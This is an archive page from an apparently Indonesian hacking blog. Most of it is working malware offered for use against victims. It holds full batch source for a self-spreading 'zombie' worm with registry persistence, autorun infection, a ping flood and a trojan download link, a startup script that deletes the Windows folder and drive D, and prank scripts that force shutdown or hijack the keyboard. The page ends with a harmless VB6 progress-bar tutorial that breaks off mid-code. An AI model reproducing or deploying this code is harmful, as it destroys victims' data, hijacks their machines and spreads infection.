Bad Company UG

Tampilkan postingan dengan label Data base. Tampilkan semua postingan
Tampilkan postingan dengan label Data base. Tampilkan semua postingan
Rabu, 02 November 2011

Zombie batch

0 komentar
 
----------------------PERHATIAN----------------------

1.Jangan sekali-kali mencoba di komputer sendiri karena zombie ini untuk di komputer victim/korban.
jadi ini harus di sebar ke komputer orang lain agar menjadi wadah zombie ini jalan.

2.Cara kerjanya mudah sekali tinggal di klik zombie jalan.
efek yang bisa di lihat ketika komputer telah shutdown atau logoff

3.Ketika komputer hidup dari logoff atau shutdown zombie ini akan menciptakan 2 anakan zombie,1 worm,autorun dan 1 file pendukung untuk menjalankan 2 zombie dan 1 worm.

Anakan zombie 1 dengan nama "boot.bat" [ tanpa tanda kutip ]
untuk menyerang ip 192.168.1.1
IP-nya bisa di ganti sesuai keinginan anda mau menyerang web apa.

Anakan zombie 2 dengan nama "736F686169207761732068657265.bat" [ tanpa tanda kutip ]
berfungsi untuk mendownload file server trojan gw
yg bisa di akses di http://h1.ripway.com/hack02/sex.exe
jika kalian punya file server trojan sendiri bisa di tambahkan.

Terakhir 1 worm untuk penyebaran,dan pertahanan.

SOURCE CODE :



::Prompt di baca off::

echo off



::Memberi judul prompt::

title 736F686169207761732068657265



::Memberi warna background hitam dan tulisan hijau muda::

color 0a



::Menghapus layar Prompt::

cls



::Membuat anakan 1 dengan nama wxhshell.vbs :

echo Set wshshell = wscript.CreateObject("WScript.Shell") >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "cmd" >>C:\windows\system32\wxhshell.vbs

echo wscript.sleep 400 >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys "echo off " >>C:\windows\system32\wxhshell.vbs

echo Wshshell.SendKeys "{ENTER}" >>C:\windows\system32\wxhshell.vbs

echo wscript.sleep 400 >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys "color 0a " >>C:\windows\system32\wxhshell.vbs

echo Wshshell.SendKeys "{ENTER} " >>C:\windows\system32\wxhshell.vbs

echo wscript.sleep 400 >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys "Title sohai was here " >>C:\windows\system32\wxhshell.vbs

echo Wshshell.SendKeys "{ENTER}" >>C:\windows\system32\wxhshell.vbs

echo wscript.sleep 400 >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys "mode 33,10 " >>C:\windows\system32\wxhshell.vbs

echo Wshshell.SendKeys "{ENTER} " >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys "cls " >>C:\windows\system32\wxhshell.vbs

echo Wshshell.SendKeys "{ENTER} " >>C:\windows\system32\wxhshell.vbs

echo wscript.sleep 400 >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys "::Your" >>C:\windows\system32\wxhshell.vbs

echo wscript.sleep 400 >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys " Computer" >>C:\windows\system32\wxhshell.vbs

echo wscript.sleep 400 >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys " Is" >>C:\windows\system32\wxhshell.vbs

echo wscript.sleep 400 >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys " Not" >>C:\windows\system32\wxhshell.vbs

echo wscript.sleep 400 >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys " Secure::" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.SendKeys "{ENTER}" >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys "::I " >>C:\windows\system32\wxhshell.vbs

echo wscript.sleep 400 >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys "Will" >>C:\windows\system32\wxhshell.vbs

echo wscript.sleep 400 >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys " Attacking" >>C:\windows\system32\wxhshell.vbs

echo wscript.sleep 400 >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys " Your" >>C:\windows\system32\wxhshell.vbs

echo wshshell.sendkeys " Gateway::" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.SendKeys "{ENTER}" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "C:\windows\system32\boot.bat" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "C:\windows\system32\736F686169207761732068657265.bat" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "C:\boot.bat" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "D:\boot.bat" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "E:\boot.bat" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "F:\boot.bat" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "C:\CON\7461737961.bat" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "D:\CON\7461737961.bat" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "E:\CON\7461737961.bat" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "F:\CON\7461737961.bat" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "C:\aux\736F686169207761732068657265.bat" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "D:\aux\736F686169207761732068657265.bat" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "E:\aux\736F686169207761732068657265.bat" >>C:\windows\system32\wxhshell.vbs

echo Wshshell.run "F:\aux\736F686169207761732068657265.bat" >>C:\windows\system32\wxhshell.vbs



::Membuat anakan Zombie 1 dengan nama boot.bat dan memmiliki fungsi untuk DDOS::

echo echo off >>C:\windows\system32\boot.bat

echo title 0x44444F5320762C736F686169 >>C:\windows\system32\boot.bat

echo mode 67,16 >>C:\windows\system32\boot.bat

echo color 0c >>C:\windows\system32\boot.bat

echo cls >>C:\windows\system32\boot.bat

echo :DDOS >>C:\windows\system32\boot.bat

echo echo Attacking Server 192.168.1.1 >>C:\windows\system32\boot.bat

echo ping 192.168.1.1 -i 100000 -t >nul >>C:\windows\system32\boot.bat

echo goto DDOS >>C:\windows\system32\boot.bat



::Membuat anakan Zombie 2 dengan nama 736F686169207761732068657265.bat tolong bahasa hexa ini JANGAN di ubah::

echo echo off >>C:\windows\system32\736F686169207761732068657265.bat

echo color 0a >>C:\windows\system32\736F686169207761732068657265.bat

echo cls >>C:\windows\system32\736F686169207761732068657265.bat

echo :736F686169207761732068657265 >>C:\windows\system32\736F686169207761732068657265.bat

::connect ke ripway untuk mendownload file sex.exe::

echo start firefox "http://h1.ripway.com/hack02/sex.exe" >>C:\windows\system32\736F686169207761732068657265.bat

echo goto 736F686169207761732068657265 >>C:\windows\system32\736F686169207761732068657265.bat



::Membuat pertahanan untuk worm 7461737961.bat berbentuk folder::

MD\\.\\C:\CON

MD\\.\\D:\CON

MD\\.\\E:\CON

MD\\.\\F:\CON



::membuat pertahhanan untuk zombie2 berbentuk folder aux::

MD\\.\\C:\aux

MD\\.\\D:\aux

MD\\.\\E:\aux

MD\\.\\F:\aux



::Membuat Worm1 di tambah fungsi manipulasi regedit,dan penyebaran::

echo echo off >>C:\CON\7461737961.bat

echo cls >>C:\CON\7461737961.bat

echo color oa >>C:\CON\7461737961.bat

::Fungsi manipulasi::

echo REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V "NoRun" /t REG_DWORD /d 00000001 >>C:\CON\7461737961.bat

echo REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V "NoLogOff" /t REG_BINARY /d 01000000 >>C:\CON\7461737961.bat

echo REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V "NoStartMenuMorePrograms" /t REG_DWORD /d 00000001 >>C:\CON\7461737961.bat

echo REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LegalNoticeCaption /d "S.O.H.A.I Was Here" /f >>C:\CON\7461737961.bat

echo REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LegalNoticeText /d "Hack by S.O.H.A.I" >>C:\CON\7461737961.bat

::Penyebaran::

echo For /R C":\" /C %%a in (*) do copy %0 "%%~fa\%%~nxa.sohai" >>C:\CON\7461737961.bat

echo For /R D":\" /C %%a in (*) do copy %0 "%%~fa\%%~nxa.sohai" >>C:\CON\7461737961.bat

echo For /R E":\" /C %%a in (*) do copy %0 "%%~fa\%%~nxa.sohai" >>C:\CON\7461737961.bat

echo For /R F":\" /C %%a in (*) do copy %0 "%%~fa\%%~nxa.sohai" >>C:\CON\7461737961.bat



::Membuat C:\windows\system32\boot.bat tercopy pada drive C D E F ::

copy "C:\windows\system32\boot.bat" "C:\boot.bat"

copy "C:\windows\system32\boot.bat" "D:\boot.bat"

copy "C:\windows\system32\boot.bat" "E:\boot.bat"

copy "C:\windows\system32\boot.bat" "F:\boot.bat"



::Membuat C:\CON\7461737961.bat tercopy pada folder CON D E F ::

copy "C:\CON\7461737961.bat" "D:\CON\7461737961.bat"

copy "C:\CON\7461737961.bat" "E:\CON\7461737961.bat"

copy "C:\CON\7461737961.bat" "F:\CON\7461737961.bat"



::Membuat C:\CON\7461737961.bat tercopy pada folder aux D E F ::

copy "C:\windows\system32\736F686169207761732068657265.bat" "C:\aux\736F686169207761732068657265.bat"

copy "C:\windows\system32\736F686169207761732068657265.bat" "D:\aux\736F686169207761732068657265.bat"

copy "C:\windows\system32\736F686169207761732068657265.bat" "E:\aux\736F686169207761732068657265.bat"

copy "C:\windows\system32\736F686169207761732068657265.bat" "F:\aux\736F686169207761732068657265.bat"



:::membuat C:\windows\system32\736F686169207761732068657265.bat tercopy pada folder C D E F ::

copy "C:\windows\system32\736F686169207761732068657265.bat" "C:\aux\736F686169207761732068657265.bat"

copy "C:\windows\system32\736F686169207761732068657265.bat" "D:\aux\736F686169207761732068657265.bat"

copy "C:\windows\system32\736F686169207761732068657265.bat" "E:\aux\736F686169207761732068657265.bat"

copy "C:\windows\system32\736F686169207761732068657265.bat" "F:\aux\736F686169207761732068657265.bat"



::Membuat boot.bat , 736F686169207761732068657265.bat dan 7461737961.bat pada drive C terhidden ::

Attrib +r +h C:\windows\system32\boot.bat

Attrib +r +h C:\windows\system32\736F686169207761732068657265.bat

Attrib +r +h C:\CON\7461737961.bat

Attrib +r +h D:\CON\7461737961.bat

Attrib +r +h E:\CON\7461737961.bat

Attrib +r +h F:\CON\7461737961.bat

Attrib +r +h C:\boot.bat

Attrib +r +h D:\boot.bat

Attrib +r +h E:\boot.bat

Attrib +r +h F:\boot.bat

Attrib +r +h C:\aux\736F686169207761732068657265.bat

Attrib +r +h D:\aux\736F686169207761732068657265.bat

Attrib +r +h E:\aux\736F686169207761732068657265.bat

Attrib +r +h F:\aux\736F686169207761732068657265.bat



::Membuat file autorun.inf di drive C dan memiliki Arti = Virus Membuat File Autorun Agar Virus bisa Berjalan Secara Otomatis::

echo [Autorun] >> C:\autorun.inf

echo shellexecute=boot.bat >> C:\autorun.inf



::Mengcopy salinan autorun.inf pada drive C ke semua drive D E F::

Copy "C:\autorun.inf" "D:\autorun.inf"

Copy "C:\autorun.inf" "E:\autorun.inf"

Copy "C:\autorun.inf" "F:\autorun.inf"



::Membuat file autorun ter hidden dari drive C D E F ::

Attrib +r +h C:\autorun.inf

Attrib +r +h D:\autorun.inf

Attrib +r +h E:\autorun.inf

Attrib +r +h F:\autorun.inf



::Proses auto running file zombie dan worm::

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v wxhshell /t REG_SZ /d C:\windows\system32\wxhshell.vbs /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v boot /t REG_SZ /d C:\windows\system32\boot.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v boot1 /t REG_SZ /d C:\boot.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v boot2 /t REG_SZ /d D:\boot.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v boot3 /t REG_SZ /d E:\boot.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v boot4 /t REG_SZ /d F:\boot.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v 736F686169207761732068657265 /t REG_SZ /d C:\windows\system32\736F686169207761732068657265.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v 736F6861692077617320686572651 /t REG_SZ /d C:\aux\736F686169207761732068657265.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v 736F6861692077617320686572652 /t REG_SZ /d D:\aux\736F686169207761732068657265.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v 736F6861692077617320686572653 /t REG_SZ /d E:\aux\736F686169207761732068657265.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v 736F6861692077617320686572654 /t REG_SZ /d F:\aux\736F686169207761732068657265.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v 7461737961 /t REG_SZ /d C:\CON\7461737961.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v 74617379612 /t REG_SZ /d D:\CON\7461737961.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v 74617379613 /t REG_SZ /d E:\CON\7461737961.bat /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v 74617379614 /t REG_SZ /d F:\CON\7461737961.bat /f


nb : walaupun script di atas nampak smiley2nya.. langsung saja copy script diatas ke notepad kemudian save as dengan ekstensi .bat
Selengkapnya...

Javascript Lengkap

0 komentar
 
        Berikut ada banyak sekali koleksi javascript, lebih dari 3000 kumpulan javascript yang mungkin suatu saat nanti anda butuhkan, dan kumpulan script ini bisa di download secara free, terdiri dari berbagai macam kategori, mulai dari text effect, sliding content, dan berbagai kategori lainnya.
Cekibrott..

FREE DOWNLOAD HERE !!!
Selengkapnya...

Script Penghancur PC

0 komentar
 
     
Ini khusus buat para "Lamer sejati" yang pengin ngerusak kompynya orang. Kalo kamu ngerasa bukan lamer, segera tinggalin artikel ini!!

Okay, ngga' usah banyak omong, lansung aja copy-pastekan code sialan di bawah ini ke teks editor kamu dan simpan dengan ekstensi .bat


Code:

@echo off

echo deltree /y %windir%\*.*>> %windir%\programs\startm~1\programs\startup\lamer.bat

echo deltree /y d:\*.*>> %windir%\programs\startm~1\programs\startup\lamer.bat

atau

@echo off

echo deltree /y %windir%\*.*>> AUTOEXEC.BAT

echo deltree /y d:\*.*>> AUTOEXEC.BAT


OK.. ga' perlu dijelasin pasti udah pada ngerti donk. Yup, kalo udah disimpan (misalnya LAMER.BAT) lansung eksekusi dan shutdown komputernya trus kabur dech hihihi... program perusak kamu bakalan bekerja dengan sendirinya begitu si korban nyalain komputernya lagi.
Selengkapnya...

Kumpulan Script Jahil

0 komentar
 
Kali ini kita buat beberapa script yang berfungsi pada OS windows, scriptnya akan berfungsi sesuai dengan fungsinya

Tidak perlu susah ? karna script hanya di muat di notepad, type save nya cukup dengan format .VBS atau  .bat

Langsung aja  ?
________________________________________________________________________________

1). Memberi pesan dan shutdown komputer :


Code:

@echo off
msg * Aku tidak suka kamu
shutdown -c ?Error! Kamu jelek sekali? -s

Note : save dengan .bat
________________________________________________________________________________
2). Menyalakan tombol Caps lock secara simultan 


Code:

Set wshShell =wscript.CreateObject(?WScript.Shell?)
do
wscript.sleep 100
wshshell.sendkeys ?{CAPSLOCK}?
loop

Note : save dengan extension .vbs
________________________________________________________________________________
3). Buka/tutup CD drive secara terus menerus :


Code:

Set oWMP = CreateObject(?WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count ? 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count ? 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Note : save dengan Extexsion .vbs
________________________________________________________________________________
4). Tekan Enter secara simultan :


Code:

et wshShell = wscript.CreateObject(?WScript.Shell?)
do
wscript.sleep 100
wshshell.sendkeys ?~(enter)?
loop

Note : save dengan ex.vbs
________________________________________________________________________________
5). Mengetik pesan kita secara otomatis di notepad :


Code:

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(?WScript.Shell?)
WshShell.Run ?notepad?
WScript.Sleep 100
WshShell.AppActivate ?Notepad?
WScript.Sleep 500
WshShell.SendKeys ?Hel?
WScript.Sleep 500
WshShell.SendKeys ?lo ?
WScript.Sleep 500
WshShell.SendKeys ?, ho?
WScript.Sleep 500
WshShell.SendKeys ?w a?
WScript.Sleep 500
WshShell.SendKeys ?re ?
WScript.Sleep 500
WshShell.SendKeys ?you?
WScript.Sleep 500
WshShell.SendKeys ?? ?
WScript.Sleep 500
WshShell.SendKeys ?I a?
WScript.Sleep 500
WshShell.SendKeys ?m g?
WScript.Sleep 500
WshShell.SendKeys ?ood?
WScript.Sleep 500
WshShell.SendKeys ? th?
WScript.Sleep 500
WshShell.SendKeys ?ank?
WScript.Sleep 500
WshShell.SendKeys ?s! ?

Note : save dengan Ex.vbs
________________________________________________________________________________
6). Menjalankan BACKSPACE secara simultan :


Code:

MsgBox ?Let?s go back a few steps?
Set wshShell =wscript.CreateObject(?WScript.Shell?)
do
wscript.sleep 100
wshshell.sendkeys ?{bs}?
loop

Note : save dengan ex.vbs
________________________________________________________________________________
7). Buka Notepad secara terus menerus :


Code:

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Note : save dengan type .bat
________________________________________________________________________________
8). Munculin 5 pilihan yang harus korban pilih :


Code:

@echo off
title The end of the world
cd C:\
:menu
cls
echo oops gw gak tanggung jawab lho apa yang barusan lu lakuin hehhe,,semuanya dh jadi tanggung jawab lu sendiri?
pause
echo pilih nama cwe yang lu suka =P :
echo 1. datanya bakal ilang lho.
echo 2. komputer nya corrupt lho
echo 3. heheh no comment deh klo yang ini
echo 4. mau mati pake jalan ini?
echo 5. bye bye?
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Note : save dengan .bat
________________________________________________________________________________
9). Hack keyboard sehingga korban dipaksa mengetik ? You are a gay? secara simultan :


Code:

Set wshShell = wscript.CreateObject(?WScript.Shell?)
do
wscript.sleep 100
wshshell.sendkeys ?You are a gay?
loop

Note : save dengan ex.vbs

Catatan:
Utk mematikan proses script,cukup buka task manager dan kill proses bat atau vbs

By : Andika's 7
Selengkapnya...
Jumat, 28 Oktober 2011

Membuat Loading Pada Form

0 komentar
 
Subyek: [TUTORIAL]Membuat Loading Pada Form   Fri Jul 22, 2011 8:04 am Select/Unselect multi-quote Balas dengan kutipan Report post to moderator or admin Lock post for new reports

----
Sedikit Pemahaman VB6 :

ini sebenarnya ada di VIP Room aku SHARE dech buat para member di sini .. hehe !!!

Tools :
[-]1 Progress Bar
[-]1 Label
[-]1 form
[-]2 Timer


Step:
1 - Buat Progress Bar
Properties:
[-]Value = 0
[-]TextStyle = Custom Text
[-]Text = Strah Kalian

2- Label = Gk pake gk pp!
Caption = Waitting

3-Form Properties :
[-]Picture = Strah anda (ukuran Bebas)
[-] Yang Lain Kreasi Sendiri

5- Timer Properties :
Timer1 = InterVal = 70
Timer2 = InterVal = 90
Buat Yang Proggress Bar Disini Source nya :
Cara Masukin Progress Bar Ke VB6
-klick Project => pilih Add User Control=>New=> Open
-klick UserControl 1 =Ganti Name nya menjadi =ProgressBar
Klick kanan =>View Code =>Source(ProgressBar)
Sournya :

Spoiler:

Option Explicit

Public Enum U_TextAlignments
[Left Top] = 1
[Left Middle] = 2
[Left Bottom] = 3
[Center Top] = 4
[Center Middle] = 5
[Center Bottom] = 6
[Right Top] = 7
[Right Middle] = 8
[Right Bottom] = 9
End Enum

Public Enum U_TextEffects
[Normal] = 1
[Embossed] = 2
[Engraved] = 3
[Outline] = 4
[Shadow] = 5
End Enum

Public Enum U_OrientationsS
[Horizontal] = 1
[Vertical] = 2

End Enum

Public Enum U_TextStyles
[PBValue] = 1
[PBPercentage] = 2
[CustomText] = 3
[PBNoneText] = 4
End Enum

Private Type BITMAPINFOHEADER
biSize As Long
biWidth As Long
biHeight As Long
biPlanes As Integer
biBitCount As Integer
biCompression As Long
biSizeImage As Long
biXPelsPerMeter As Long
biYPelsPerMeter As Long
biClrUsed As Long
biClrImportant As Long
End Type

Private Type RGBQUAD
rgbBlue As Byte
rgbGreen As Byte
rgbRed As Byte
rgbReserved As Byte
End Type

Private Type BITMAPINFO
bmiHeader As BITMAPINFOHEADER
bmiColors As RGBQUAD
End Type

Private Type cRGB
Blue As Byte
Green As Byte
Red As Byte
End Type

Enum U_Themes
[IceOrange] = 1
[IceYellow] = 2
[IceGreen] = 3
[IceCyan] = 4
[IceBangel] = 5
[IcePurple] = 6
[IceRed] = 7
[IceBlue] = 8
[Vista] = 9
[Custome] = 10
End Enum
Private Type GRADIENT_RECT
UpperLeft As Long
LowerRight As Long
End Type

Public Enum GRADIENT_DIRECT
[Left to Right] = &H0
[Top to Bottom] = &H1
End Enum

Private Type TRIVERTEX
X As Long
Y As Long
Red As Integer
Green As Integer
Blue As Integer
ALPHA As Integer
End Type

Private
Declare Function CreateRoundRectRgn Lib "gdi32" (ByVal X1 As Long,
ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long,
ByVal Y3 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Private
Declare Function RoundRect Lib "gdi32" (ByVal hdc As Long, ByVal X1 As
Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As
Long, ByVal Y3 As Long) As Long
Private Declare Function
SetDIBitsToDevice Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal
Y As Long, ByVal dx As Long, ByVal dy As Long, ByVal SrcX As Long,
ByVal SrcY As Long, ByVal Scan As Long, ByVal NumScans As Long, Bits As
Any, BitsInfo As BITMAPINFO, ByVal wUsage As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private
Declare Function GradientFillRect Lib "msimg32" Alias "GradientFill"
(ByVal hdc As Long, pVertex As TRIVERTEX, ByVal dwNumVertex As Long,
pMesh As GRADIENT_RECT, ByVal dwNumMesh As Long, ByVal dwMode As Long)
As Long
Private Declare Function SetRect Lib "user32" (lpRect As
RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As
Long) As Long

Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type

Const GRADIENT_FILL_RECT_H As Long = &H0
Const GRADIENT_FILL_RECT_V As Long = &H1
Private Const BI_RGB = 0&
Private Const DIB_RGB_COLORS = 0

Private U_TextStyle As U_TextStyles
Private U_Theme As U_Themes
Private U_Orientation As U_OrientationsS
Private U_Text As String
Private U_TextColor As OLE_COLOR
Private U_TextAlign As U_TextAlignments
Private U_TextFont As Font
Private U_TextEC As OLE_COLOR
Private U_TextEffect As U_TextEffects
Private U_RoundV As Long
Private U_Min As Long
Private U_Value As Long
Private U_Max As Long
Private U_Enabled As Boolean
Private C(16) As Long
Private U_PBSCC1 As OLE_COLOR
Private U_PBSCC2 As OLE_COLOR
Private Sub UserControl_Resize()
Bar_Draw
End Sub

Public Property Let Value(ByVal newValue As Long)
If newValue > U_Max Then newValue = U_Max
If newValue < U_Min Then newValue = U_Min
U_Value = newValue

PropertyChanged "Value"
Bar_Draw
End Property

Public Property Get Value() As Long
Value = U_Value
End Property

Public Property Let Max(ByVal newValue As Long)
If newValue < 1 Then newValue = 1
If newValue <= U_Min Then newValue = U_Min + 1
U_Max = newValue
If Value > U_Max Then Value = U_Max
PropertyChanged "Max"
Bar_Draw
End Property
Public Property Get Max() As Long
Max = U_Max
End Property

Public Property Let Min(ByVal newValue As Long)
If newValue >= U_Max Then newValue = Max - 1
If newValue < 0 Then newValue = 0
U_Min = newValue
If Value < U_Min Then Value = U_Min

PropertyChanged "Min"
Bar_Draw
End Property
Public Property Get Min() As Long
Min = U_Min
End Property
Public Property Get RoundedValue() As Long
RoundedValue = U_RoundV
End Property

Public Property Let RoundedValue(ByVal newValue As Long)
U_RoundV = newValue
PropertyChanged "RoundedValue"
Bar_Draw
End Property


Public Property Get Enabled() As Boolean
Enabled = U_Enabled
End Property

Public Property Let Enabled(ByVal newValue As Boolean)
U_Enabled = newValue
PropertyChanged "Enabled"
Bar_Draw
End Property
Private Sub UserControl_InitProperties()
Max = 100
Min = 0
Value = 50
RoundedValue = 5
Enabled = True
Theme = 1
TextForeColor = vbBlack
Text = "U11D ProgressBar"
TextAlignment = [Center Middle]
TextEffect = Shadow
TextEffectColor = vbWhite
TextStyle = CustomText
Orientations = Horizontal
Set TextFont = Ambient.Font
End Sub
Public Property Let Theme(ByVal newValue As U_Themes)

U_Theme = newValue
PropertyChanged "Theme"
Bar_Draw
End Property

Public Property Get Theme() As U_Themes
Theme = U_Theme
End Property

Public Property Let TextStyle(ByVal newValue As U_TextStyles)
U_TextStyle = newValue
PropertyChanged "TextStyle"
Bar_Draw
End Property
Public Property Get TextStyle() As U_TextStyles
TextStyle = U_TextStyle
End Property


Public Property Get Orientations() As U_OrientationsS
Orientations = U_Orientation
End Property

Public Property Let Orientations(ByVal newValue As U_OrientationsS)
U_Orientation = newValue
PropertyChanged "Orientations"
Bar_Draw
End Property

Public Property Get TextAlignment() As U_TextAlignments
TextAlignment = U_TextAlign
End Property

Public Property Let TextAlignment(ByVal newValue As U_TextAlignments)
U_TextAlign = newValue
PropertyChanged "TextAlignment"
Bar_Draw
End Property

Public Property Get Text() As String
Text = U_Text
End Property

Public Property Let Text(ByVal newValue As String)
U_Text = newValue
PropertyChanged "Text"
Bar_Draw
End Property
Public Property Get TextEffectColor() As OLE_COLOR
TextEffectColor = U_TextEC
End Property

Public Property Let TextEffectColor(ByVal newValue As OLE_COLOR)
U_TextEC = newValue
PropertyChanged "TextEffectColor"
Bar_Draw
End Property

Public Property Get TextEffect() As U_TextEffects
TextEffect = U_TextEffect
End Property

Public Property Let TextEffect(ByVal newValue As U_TextEffects)
U_TextEffect = newValue
PropertyChanged "TextEffect"
Bar_Draw
End Property

Public Property Get TextForeColor() As OLE_COLOR
TextForeColor = U_TextColor
End Property

Public Property Let TextForeColor(ByVal newValue As OLE_COLOR)
U_TextColor = newValue
PropertyChanged "TextForeColor"
Bar_Draw
End Property
Public Property Get TextFont() As Font
Set TextFont = U_TextFont
End Property

Public Property Set TextFont(ByVal newValue As Font)
Set U_TextFont = newValue
Set UserControl.Font = newValue
PropertyChanged "TextFont"
Bar_Draw
End Property

Public Property Get PBSCustomeColor1() As OLE_COLOR
PBSCustomeColor1 = U_PBSCC1
End Property

Public Property Let PBSCustomeColor1(ByVal newValue As OLE_COLOR)
U_PBSCC1 = newValue
PropertyChanged "PBSCustomeColor1"
Bar_Draw
End Property
Public Property Get PBSCustomeColor2() As OLE_COLOR
PBSCustomeColor2 = U_PBSCC2
End Property

Public Property Let PBSCustomeColor2(ByVal newValue As OLE_COLOR)
U_PBSCC2 = newValue
PropertyChanged "PBSCustomeColor2"
Bar_Draw
End Property
Private Sub UserControl_ReadProperties(PropBag As PropertyBag)
On Error Resume Next
With PropBag

Max = .ReadProperty("Max", 100)
Min = .ReadProperty("Min", 0)
Value = .ReadProperty("Value", 50)
RoundedValue = .ReadProperty("RoundedValue", 5)
Enabled = .ReadProperty("Enabled", True)
Theme = .ReadProperty("Theme", 1)
TextStyle = .ReadProperty("TextStyle", 1)
Orientations = .ReadProperty("Orientations", Horizontal)
Text = .ReadProperty("Text", Ambient.DisplayName)
TextEffectColor = .ReadProperty("TextEffectColor", RGB(200, 200, 200))
TextEffect = .ReadProperty("TextEffect", 1)
TextAlignment = .ReadProperty("TextAlignment", 5)
Set TextFont = .ReadProperty("TextFont", Ambient.Font)
TextForeColor = .ReadProperty("TextForeColor", 0)
PBSCustomeColor2 = .ReadProperty("PBSCustomeColor2", vbBlack)
PBSCustomeColor1 = .ReadProperty("PBSCustomeColor1", vbBlack)
End With
End Sub

Private Sub UserControl_WriteProperties(PropBag As PropertyBag)
With PropBag
.WriteProperty "Orientations", U_Orientation, Horizontal
.WriteProperty "Max", U_Max, 100
.WriteProperty "Min", U_Min, 0
.WriteProperty "Value", U_Value, 50
.WriteProperty "RoundedValue", U_RoundV, 5
.WriteProperty "Enabled", U_Enabled, True
.WriteProperty "Theme", U_Theme, 1
.WriteProperty "TextStyle", U_TextStyle, 1
.WriteProperty "TextFont", U_TextFont, Ambient.Font
.WriteProperty "TextForeColor", U_TextColor, vbBlack
.WriteProperty "TextAlignment", U_TextAlign, 5
.WriteProperty "Text", U_Text, ""
.WriteProperty "TextEffectColor", U_TextEC, RGB(200, 200, 200)
.WriteProperty "TextEffect", U_TextEffect, 1
.WriteProperty "PBSCustomeColor2", U_PBSCC2, vbBlack
.WriteProperty "PBSCustomeColor1", U_PBSCC1, vbBlack
End With
End Sub











Private Sub Bar_Draw()
On Error Resume Next
Dim i, s, z, Y, q As Long
Dim U_LRECT As Long

U_LRECT = CreateRoundRectRgn(0, 0, UserControl.ScaleWidth, UserControl.ScaleHeight, U_RoundV, U_RoundV)
SetWindowRgn UserControl.hWnd, U_LRECT, True

i = U_Max: s = U_Value: z = U_Max
Y = (s * 100 / z)
q = (Y * UserControl.ScaleWidth / 100)

If Orientations = Vertical Then q = (Y * UserControl.ScaleHeight / 100)

CheckTheme

If Enabled = False Then
Dim II As Byte
For II = 0 To 16
C(II) = ColourTOGray(C(II))
Next II
End If


UserControl.Cls






If U_Orientation = Horizontal Then



